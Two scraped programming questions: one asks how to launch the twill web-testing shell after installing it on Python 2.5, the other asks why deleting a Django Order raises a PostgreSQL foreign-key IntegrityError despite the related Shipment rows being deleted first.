  I am sorry I have already asked this question on "Superuser", but nobody answers there, so I deleted it from "Superuser" and decided to post it here. Hope it's not a big crime, especially given the fact that I was firstly advised to use twill here on "StackOverflow" (not on "SuperUser") How do I start using twill? I have just downloaded it, unpacked it and clicked on the setup .py file in the folder. The black window (terminal) appeared for a moment and vanished. (I do have Python 2.5 installed on my computer - along with SDK from Google App Engine) In the twill documentation section it says: Downloading twill The latest release of twill is twill 0.9, released Thursday, December 27th, 2007; it is available for download at http://darcs.idyll.org/~t/projects/twill-0.9.tar.gz. You can also use Python's easy_install to install or upgrade twill. twill works with Python 2.3 or later. To start using twill, install it and then type twill-sh. At the prompt type: go http://www.slashdot.org/ show showforms showhistory I am not clear from this passage what I am supposed to type (only "twill-sh" or "twill-sh" and all the words under that line) and where (I tried typing it in the command prompt window of my computer - to no avail) Can, anyone, please, help me out here? Thank You in advance.

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• IntegrityError: foreign key violation upon delete

  - by Lukasz Korzybski

  I have Order and Shipment model. Shipment has a foreign key to Order. class Order(...): ... class Shipment() order = m.ForeignKey('Order') ... Now in one of my views I want do delete order object along with all related objects. So I invoke order.delete(). I have Django 1.0.4, PostgreSQL 8.4 and I use transaction middleware, so whole request is enclosed in single transaction. The problem is that upon order.delete() I get: ... File "/usr/local/lib/python2.6/dist-packages/django/db/backends/__init__.py", line 28, in _commit return self.connection.commit() IntegrityError: update or delete on table "main_order" violates foreign key constraint "main_shipment_order_id_fkey" on table "main_shipment" DETAIL: Key (id)=(45) is still referenced from table "main_shipment". I checked in connection.queries that proper queries are executed in proper order. First shipment is deleted, after that django executes delete on order row: {'time': '0.000', 'sql': 'DELETE FROM "main_shipment" WHERE "id" IN (17)'}, {'time': '0.000', 'sql': 'DELETE FROM "main_order" WHERE "id" IN (45)'} Foreign key have ON DELETE NO ACTION (default) and is initially deferred. I don't know why I get foreign key constraint violation. I also tried to register pre_delete signal and manually delete shipment objects before delete on order is called, but it resulted in the same error. I can change ON DELETE behaviour for this key in Postgres but it would be just a hack, I wonder if anyone has a better idea what's going on here. There is also a small detail, my Order model inherits from Cart model, so it actually doesn't have id field but cart_ptr_id and after DELETE on order is executed there is also DELETE on cart, but it seems unrelated? to the shipment-order problem so I simplified it in the example.

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